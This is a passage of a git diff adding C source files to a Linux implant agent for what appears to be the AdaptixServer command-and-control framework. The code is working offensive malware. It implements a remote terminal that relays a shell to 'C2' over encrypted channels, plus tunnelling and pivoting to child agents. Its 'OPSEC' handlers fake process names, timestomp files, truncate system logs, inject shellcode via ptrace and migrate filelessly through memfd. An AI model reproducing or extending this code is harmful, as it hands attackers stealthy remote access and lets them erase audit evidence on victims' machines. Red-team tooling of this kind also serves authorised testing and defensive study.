(proxy_connect_tcp(idx, address) != 0) { + // Immediate failure — status will be sent by process_tunnels (CloseProxy stage) + } + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel starting"); + return 0; +} + +int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int channel_id = -1; + const uint8_t *payload = (const uint8_t *)0; + uint32_t payload_len = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 4 && ax_memcmp(k, "data", 4) == 0) { + mp_read_bin(&r, &payload, &payload_len); + } else { + mp_skip(&r); + } + } + + if (channel_id >= 0 && payload && payload_len > 0) { + proxy_write_tcp(channel_id, payload, payload_len); + } + + // No response for write commands — transparent + mp_write_map(w, 0); + return 0; +} + +int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_close(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel stopped"); + return 0; +} + +int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_pause(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel paused"); + return 0; +} + +int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_resume(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel resumed"); + return 0; +} + +// ── Terminal ── +// Spawns thread -> opens PTY -> connects to C2 -> bidirectional AES-CTR relay + +#define TERMINAL_BUF_SIZE (32 * 1024) // 32KB + +// PTY helper for static mode (no posix_openpt) +#ifndef BUILD_SO +static int pty_open_master(void) { + int fd = sys_open("/dev/ptmx", O_RDWR | O_NOCTTY, 0); + if (fd < 0) return -1; + + // grantpt: write '0' to /dev/pts via ioctl TIOCSPTLCK + int unlock = 0; + sys_ioctl(fd, 0x40045431 /*TIOCSPTLCK*/, (unsigned long)&unlock); + + return fd; +} + +static int pty_get_slave_num(int master_fd) { + int pty_num = -1; + sys_ioctl(master_fd, 0x80045430 /*TIOCGPTN*/, (unsigned long)&pty_num); + return pty_num; +} +#endif + +static int pty_fork_fn(const char *program, int width, int height, + int *master_fd, int *child_pid_out) { + int master; + +#ifdef BUILD_SO + master = F_posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) return -1; + if (F_grantpt(master) != 0 || F_unlockpt(master) != 0) { + F_close(master); + return -1; + } + char *slave_name = F_ptsname(master); + if (!slave_name) { + F_close(master); + return -1; + } +#else + master = pty_open_master(); + if (master < 0) return -1; + int pty_num = pty_get_slave_num(master); + if (pty_num < 0) { + F_close(master); + return -1; + } + // Build slave path: /dev/pts/N + char slave_path[32]; + ax_strcpy(slave_path, "/dev/pts/"); + char num_buf[16]; + ax_itoa(pty_num, num_buf, 10); + ax_strcat(slave_path, num_buf); + char *slave_name = slave_path; +#endif + + int pid = F_fork(); + if (pid < 0) { + F_close(master); + return -1; + } + + if (pid == 0) { + // Child + F_close(master); + F_setsid(); + + int slave = F_open(slave_name, O_RDWR, 0); + if (slave < 0) F_exit(1); + + // Set terminal size + struct linux_winsize ws; + ws.ws_col = (unsigned short)width; + ws.ws_row = (unsigned short)height; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + F_ioctl(slave, TIOCSWINSZ, &ws); + + // Set as controlling terminal + F_ioctl(slave, TIOCSCTTY, 0); + + F_dup2(slave, 0); + F_dup2(slave, 1); + F_dup2(slave, 2); + if (slave > 2) F_close(slave); + +#ifdef BUILD_SO + F_setenv("TERM", "xterm-256color", 1); +#endif + + char *argv_term[] = { (char*)program, (char*)0 }; + F_execve(program, argv_term, (char*const*)0); + F_exit(1); + } + + // Parent + *master_fd = master; + *child_pid_out = pid; + return 0; +} + +typedef struct { + int terminal_idx; + int term_id; + char program[256]; + int width; + int height; +} terminal_args_t; + +static void *terminal_thread(void *arg) { + terminal_args_t *targs = (terminal_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->terminals_mutex); + terminal_entry_t *term = &ctx->terminals[targs->terminal_idx]; + jobs_mutex_unlock(&ctx->terminals_mutex); + + // Create PTY + int alive = 1; + char status_msg[256] = {0}; + + if (pty_fork_fn(targs->program, targs->width, targs->height, + &term->pty_master, &term->child_pid) != 0) { + alive = 0; + ax_strcpy(status_msg, "PTY creation failed"); + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &term->srv_conn) != 0) { + if (term->pty_master >= 0) F_close(term->pty_master); + if (term->child_pid > 0) F_kill(term->child_pid, 9); + term->active = 0; + ax_free(targs); + return (void*)0; + } + + // Generate per-terminal AES keys + uint8_t term_key[16], term_iv[16]; + ax_random_bytes(term_key, 16); + ax_random_bytes(term_iv, 16); + + // Send TermPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_int(&pack_w, "term_id", targs->term_id); + mp_write_kv_bin(&pack_w, "key", term_key, 16); + mp_write_kv_bin(&pack_w, "iv", term_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + mp_write_kv_str(&pack_w, "status", status_msg); + + if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL, + pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + if (term->pty_master >= 0) F_close(term->pty_master); + if (term->child_pid > 0) F_kill(term->child_pid, 9); + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs); + return (void*)0; + } + mp_writer_free(&pack_w); + + if (!alive) { + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs); + return (void*)0; + } + + // Set up AES-CTR streams + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, term_key, term_iv); + aes128_ctr_init(&enc_ctx, term_key, term_iv); + + ax_memset(term_key, 0, 16); + ax_memset(term_iv, 0, 16); + + // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted) + uint8_t *buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE); + uint8_t *enc_buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE); + + int srv_fd = term->srv_conn.fd; + int pty_fd = term->pty_master; + + while (!term->canceled) { + linux_fd_set rfds; + fd_zero(&rfds); + fd_set_bit(srv_fd, &rfds); + fd_set_bit(pty_fd, &rfds); + + int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd; + + int sr = net_select(maxfd + 1, &rfds, (linux_fd_set*)0, 500); + if (sr < 0) break; + if (sr == 0) { + // Check if child process is still running + int wstatus; + int wr = F_waitpid(term->child_pid, &wstatus, WNOHANG); + if (wr > 0) break; + continue; + } + + // Server -> PTY (user input, decrypt) + if (fd_is_set(srv_fd, &rfds)) { + long n = F_read(srv_fd, buf, TERMINAL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + long wr = F_write(pty_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + + // PTY -> Server (shell output, encrypt) + if (fd_is_set(pty_fd, &rfds)) { + long n = F_read(pty_fd, buf, TERMINAL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + long wr = F_write(srv_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + } + +term_cleanup: + ax_free(buf); + ax_free(enc_buf); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + if (term->child_pid > 0) { + F_kill(term->child_pid, 9); + F_waitpid(term->child_pid, (void*)0, 0); + } + + if (term->pty_master >= 0) F_close(term->pty_master); + conn_close(&term->srv_conn); + + jobs_mutex_lock(&ctx->terminals_mutex); + term->active = 0; + jobs_mutex_unlock(&ctx->terminals_mutex); + + ax_free(targs); + return (void*)0; +} + +int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int term_id = -1; + char program[256] = {0}; + int width = 80, height = 24; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) term_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) term_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) { + uint64_t v; mp_read_uint(&r, &v); width = (int)v; + } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) { + uint64_t v; mp_read_uint(&r, &v); height = (int)v; + } else { + mp_skip(&r); + } + } + + if (term_id < 0 || program[0] == '\0') { + write_error(w, "missing terminal params"); + return 0; + } + + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->terminals_mutex); + int idx = -1; + for (int i = 0; i < MAX_TERMINALS; i++) { + if (!ctx->terminals[i].active) { + idx = i; + ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t)); + ctx->terminals[i].srv_conn.fd = -1; + ctx->terminals[i].pty_master = -1; + ctx->terminals[i].child_pid = -1; + ctx->terminals[i].term_id = term_id; + ctx->terminals[i].active = 1; + break; + } + } + jobs_mutex_unlock(&ctx->terminals_mutex); + + if (idx < 0) { write_error(w, "max terminals reached"); return 0; } + + terminal_args_t *ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t)); + ta->terminal_idx = idx; + ta->term_id = term_id; + ax_strncpy(ta->program, program, sizeof(ta->program) - 1); + ta->width = width; + ta->height = height; + + jobs_thread_create(&ctx->terminals[idx].thread, terminal_thread, ta); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal starting"); + return 0; +} + +static int parse_term_id(const uint8_t *data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int tid = parse_term_id(data, data_len); + if (tid < 0) { write_error(w, "missing term_id"); return 0; } + + int idx = terminals_find(&g_job_ctx, tid); + if (idx < 0) { write_error(w, "terminal not found"); return 0; } + + g_job_ctx.terminals[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal stopped"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h new file mode 100644 index 000000000..c7bdf2e57 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h @@ -0,0 +1,20 @@ +#ifndef TASKS_NET_H +#define TASKS_NET_H + +#include "msgpack.h" +#include + +/// Network command handlers +/// Tunnels: MUX model via proxyfire (no threads, data in main channel) +/// Terminals: thread + separate connection (Phase 2 migration) + +int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_NET_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c new file mode 100644 index 000000000..5ebb90ea0 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c @@ -0,0 +1,243 @@ +/// tasks_opsec.c -- OPSEC command handlers for Linux agent +/// masquerade, timestomp, cleanlog, inject, migrate +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_opsec.h" +#include "opsec.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static void write_output(mp_writer_t *w, const char *text) { + mp_write_map(w, 1); + mp_write_kv_str(w, "output", text); +} + +// ══════════════════════════════════════════════════════════════════════ +// masquerade — set fake process name +// Input msgpack: {name: "string"} +// ══════════════════════════════════════════════════════════════════════ + +// Stored argv pointer from _start / so_entry for masquerading +// Set by main.c at startup +extern char **g_argv; + +int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + const char *name = NULL; + uint32_t name_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "name", 4) == 0) { + mp_read_str(&r, &name, &name_len); + } else { + mp_skip(&r); + } + } + + if (!name || name_len == 0) { + write_error(w, "missing 'name' parameter"); + return 0; + } + + // Copy name to NUL-terminated buffer + char name_buf[256]; + uint32_t copy_len = name_len < sizeof(name_buf) - 1 ? name_len : (uint32_t)(sizeof(name_buf) - 1); + ax_memcpy(name_buf, name, copy_len); + name_buf[copy_len] = '\0'; + + opsec_masquerade(name_buf, g_argv); + + // Build response + char msg[320]; + ax_strcpy(msg, "Process masqueraded as: "); + ax_strcat(msg, name_buf); + write_output(w, msg); + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// timestomp — modify file timestamps +// Input msgpack: {path: "string", timestamp: uint64 (optional, 0=auto)} +// ══════════════════════════════════════════════════════════════════════ + +int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + const char *path = NULL; + uint32_t path_len = 0; + uint64_t timestamp = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "path", 4) == 0) { + mp_read_str(&r, &path, &path_len); + } else if (klen == 9 && ax_memcmp(key, "timestamp", 9) == 0) { + mp_read_uint(&r, ×tamp); + } else { + mp_skip(&r); + } + } + + if (!path || path_len == 0) { + write_error(w, "missing 'path' parameter"); + return 0; + } + + char path_buf[1024]; + uint32_t pcopy = path_len < sizeof(path_buf) - 1 ? path_len : (uint32_t)(sizeof(path_buf) - 1); + ax_memcpy(path_buf, path, pcopy); + path_buf[pcopy] = '\0'; + + int ret = opsec_timestomp(path_buf, (long)timestamp); + if (ret < 0) { + write_error(w, "timestomp failed"); + } else { + char msg[1080]; + ax_strcpy(msg, "Timestamps modified: "); + ax_strcat(msg, path_buf); + if (timestamp == 0) { + ax_strcat(msg, " (copied from /usr/bin/ls)"); + } + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// cleanlog — truncate system logs +// No input params +// ══════════════════════════════════════════════════════════════════════ + +int task_cleanlog(mp_writer_t *w) { + int cleaned = opsec_clean_logs(); + if (cleaned == 0) { + write_error(w, "No logs truncated (requires root)"); + } else { + char msg[64]; + char num[16]; + ax_itoa(cleaned, num, 10); + ax_strcpy(msg, "Truncated "); + ax_strcat(msg, num); + ax_strcat(msg, " log file(s)"); + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// inject — ptrace shellcode injection +// Input msgpack: {pid: uint, shellcode: bin} +// ══════════════════════════════════════════════════════════════════════ + +int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + uint64_t pid = 0; + const uint8_t *shellcode = NULL; + uint32_t sc_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + mp_read_uint(&r, &pid); + } else if (klen == 9 && ax_memcmp(key, "shellcode", 9) == 0) { + mp_read_bin(&r, &shellcode, &sc_len); + } else { + mp_skip(&r); + } + } + + if (pid == 0) { + write_error(w, "missing 'pid' parameter"); + return 0; + } + if (!shellcode || sc_len == 0) { + write_error(w, "missing 'shellcode' parameter"); + return 0; + } + + int ret = opsec_inject_ptrace((int)pid, shellcode, sc_len); + if (ret < 0) { + write_error(w, "ptrace injection failed (check permissions/PID)"); + } else { + char msg[128]; + char pid_str[16]; + char sc_str[16]; + ax_itoa((int)pid, pid_str, 10); + ax_itoa((int)sc_len, sc_str, 10); + ax_strcpy(msg, "Injected "); + ax_strcat(msg, sc_str); + ax_strcat(msg, " bytes into PID "); + ax_strcat(msg, pid_str); + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// migrate — re-exec from memfd (fileless mode) +// No input params — this replaces the current process! +// On success, this function never returns. +// ══════════════════════════════════════════════════════════════════════ + +int task_migrate(mp_writer_t *w) { +#ifdef BUILD_SO + // In SO mode, /proc/self/exe points to the host process, not our agent. + // memfd re-exec would re-launch the host binary, not the agent. + write_error(w, "migrate not supported in SO mode (use ELF format)"); + return 0; +#else + // Attempt fileless re-exec via memfd_create. + // On success, this replaces the process → teamserver sees disconnect + new init. + // On failure, we report error and agent continues normally. + int ret = opsec_migrate_memfd(g_argv, NULL); + + // Only reached on failure (success = execve replaces process) + write_error(w, "memfd migration failed (check kernel support or permissions)"); + (void)ret; + return 0; +#endif +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h new file mode 100644 index 000000000..6e70c2999 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h @@ -0,0 +1,24 @@ +#ifndef TASKS_OPSEC_H +#define TASKS_OPSEC_H + +#include "types.h" +#include "msgpack.h" + +/// OPSEC command handlers + +/// masquerade — set process name to fake value +int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// timestomp — modify file timestamps +int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// cleanlog — truncate system logs (requires root) +int task_cleanlog(mp_writer_t *w); + +/// inject — ptrace-based shellcode injection +int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// migrate — re-exec from memfd (fileless) +int task_migrate(mp_writer_t *w); + +#endif /* TASKS_OPSEC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c new file mode 100644 index 000000000..02236b8c9 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c @@ -0,0 +1,126 @@ +#include "tasks_pivot.h" +#include "pivot.h" +#include "crt.h" + +/// COMMAND_LINK — connect to child agent via TCP +/// Input msgpack: {address: str, port: int} +/// cmd_id is used as the pivot identifier (matches Go's task.TaskId) +int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Invalid params"); + return 0; + } + + const char *address = (const char *)0; + uint32_t addr_len = 0; + int port = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "address", 7) == 0) { + mp_read_str(&r, &address, &addr_len); + } else if (klen == 4 && ax_memcmp(key, "port", 4) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + port = (int)v; + } else { + mp_skip(&r); + } + } + + if (!address || addr_len == 0 || port <= 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Missing address or port"); + return 0; + } + + // Null-terminate the address string + char addr_buf[256]; + uint32_t copy_len = addr_len < 255 ? addr_len : 255; + ax_memcpy(addr_buf, address, copy_len); + addr_buf[copy_len] = '\0'; + + // Use cmd_id as the pivot ID — the Go side uses this for TsPivotCreate + pivot_link_tcp(&g_pivot_ctx, cmd_id, addr_buf, port, w); + return 0; +} + +/// COMMAND_UNLINK — disconnect a pivot +/// Input msgpack: {pivot_id: uint} +int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Invalid params"); + return 0; + } + + uint32_t pivot_id = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + pivot_id = (uint32_t)v; + } else { + mp_skip(&r); + } + } + + pivot_unlink(&g_pivot_ctx, pivot_id, w); + return 0; +} + +/// COMMAND_PIVOT_EXEC — relay data from teamserver to child agent +/// Input msgpack: {pivot_id: uint, data: bytes} +int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + return 0; + } + + uint32_t pivot_id = 0; + const uint8_t *relay_data = (const uint8_t *)0; + uint32_t relay_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + pivot_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, &relay_data, &relay_len); + } else { + mp_skip(&r); + } + } + + if (relay_data && relay_len > 0) { + pivot_write(&g_pivot_ctx, pivot_id, relay_data, relay_len); + } + + // PIVOT_EXEC doesn't produce a visible response — silent relay + (void)w; + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h new file mode 100644 index 000000000..622a292d1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h @@ -0,0 +1,18 @@ +#ifndef TASKS_PIVOT_H +#define TASKS_PIVOT_H + +#include "msgpack.h" +#include + +/// Pivot command handlers + +/// COMMAND_LINK — needs cmd_id as the pivot identifier +int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +/// COMMAND_UNLINK +int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +/// COMMAND_PIVOT_EXEC — relay data to child agent +int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_PIVOT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c new file mode 100644 index 000000000..d2dc433b8 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c @@ -0,0 +1,502 @@ +/// tasks_proc.c -- Process commands for Linux agent +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_proc.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Linux constants ── + +#define O_RDONLY 0 +#define SIGKILL 9 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +/// Parse /proc//stat → extract pid, comm, ppid, tty_nr +/// Format: "pid (comm) state ppid pgrp session tty_nr ..." +static int parse_proc_stat(const char *buf, int *pid, char *comm, size_t comm_size, + int *ppid, int *tty_nr) { + // Parse pid + const char *p = buf; + *pid = ax_atoi(p); + + // Find '(' for comm start + while (*p && *p != '(') p++; + if (!*p) return -1; + p++; // skip '(' + + // Find matching ')' — comm can contain spaces and parens + const char *comm_start = p; + const char *comm_end = p; + while (*p) { + if (*p == ')') comm_end = p; + p++; + } + // comm_end now points to the LAST ')' in the string + size_t clen = (size_t)(comm_end - comm_start); + if (clen >= comm_size) clen = comm_size - 1; + ax_memcpy(comm, comm_start, clen); + comm[clen] = '\0'; + + // After ') ' comes: state ppid pgrp session tty_nr ... + p = comm_end + 1; + while (*p == ' ') p++; + // state (single char) + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // ppid + *ppid = ax_atoi(p); + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // pgrp — skip + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // session — skip + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // tty_nr + *tty_nr = ax_atoi(p); + + return 0; +} + +/// Read /proc//status and extract Uid: field (first value = real UID) +static int get_proc_uid(int pid, int *uid) { + char path[64]; + ax_strcpy(path, "/proc/"); + char pidbuf[16]; + ax_itoa(pid, pidbuf, 10); + ax_strcat(path, pidbuf); + ax_strcat(path, "/status"); + + char buf[4096]; + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + long n = sys_read(fd, buf, sizeof(buf) - 1); + sys_close(fd); + if (n <= 0) return -1; + buf[n] = '\0'; + + // Find "Uid:\t" + char *p = ax_strstr(buf, "Uid:"); + if (!p) return -1; + p += 4; // skip "Uid:" + while (*p == '\t' || *p == ' ') p++; + *uid = ax_atoi(p); + return 0; +} + +/// Convert UID to username by parsing /etc/passwd +static void uid_to_name(int uid, char *buf, size_t buf_size) { + char passwd[8192]; + int fd = sys_open("/etc/passwd", O_RDONLY, 0); + if (fd < 0) goto fallback; + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) goto fallback; + passwd[n] = '\0'; + + char uid_str[16]; + ax_itoa(uid, uid_str, 10); + size_t uid_len = ax_strlen(uid_str); + + { + char *line = passwd; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: name:x:uid:gid:... + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + char *uid_start = p2 + 1; + char *p3 = ax_strchr(uid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - uid_start); + if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) { + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + } + +fallback: + ax_itoa(uid, buf, 10); +} + +/// Convert tty_nr to tty name string +static void tty_to_name(int tty_nr, char *buf, size_t buf_size) { + if (tty_nr == 0) { + ax_strncpy(buf, "?", buf_size - 1); + buf[buf_size - 1] = '\0'; + return; + } + int major = (tty_nr >> 8) & 0xff; + int minor = tty_nr & 0xff; + + if (major == 136) { + // pts/ + ax_strcpy(buf, "pts/"); + char num[16]; + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } else if (major == 4 && minor < 64) { + // tty + ax_strcpy(buf, "tty"); + char num[16]; + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } else { + ax_strcpy(buf, "tty"); + char num[16]; + ax_itoa(major, num, 10); + ax_strcat(buf, num); + ax_strcat(buf, "/"); + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } +} + +// ── getdents64 for /proc scanning ── + +struct 